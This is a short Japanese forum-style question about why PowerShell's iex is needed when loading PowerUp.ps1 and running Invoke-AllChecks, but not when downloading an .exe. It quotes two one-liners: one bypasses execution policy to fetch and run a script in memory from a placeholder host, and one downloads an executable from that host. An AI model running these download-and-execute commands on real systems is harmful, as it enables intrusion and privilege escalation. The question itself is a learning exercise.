powershellを使ったファイルダウンロードについて


powershellを使ってファイルを読み取り、Invoke-AllChecks関数を実行する場合、(new-object
system.net.webclient)の前にiexを指定しますが（1つ目のコード）、ファイルをダウンロードする場合は、(new-object
system.net.webclient)の前にiexを指定しなくてもよいのはなぜでしょうか。

[code]

    powershell -nop -exec bypass -c "iex(new-object system.net.webclient).downloadstring('http://<IP>:<Port>/PowerUp.ps1'); Invoke-AllChecks"
    
[/code]

[code]

    powershell -c (new-object system.net.webclient).downloadfile('http://<IP>:<Port>/<Filename>.exe','C:\<Path>\<Filename>.exe')
    
[/code]

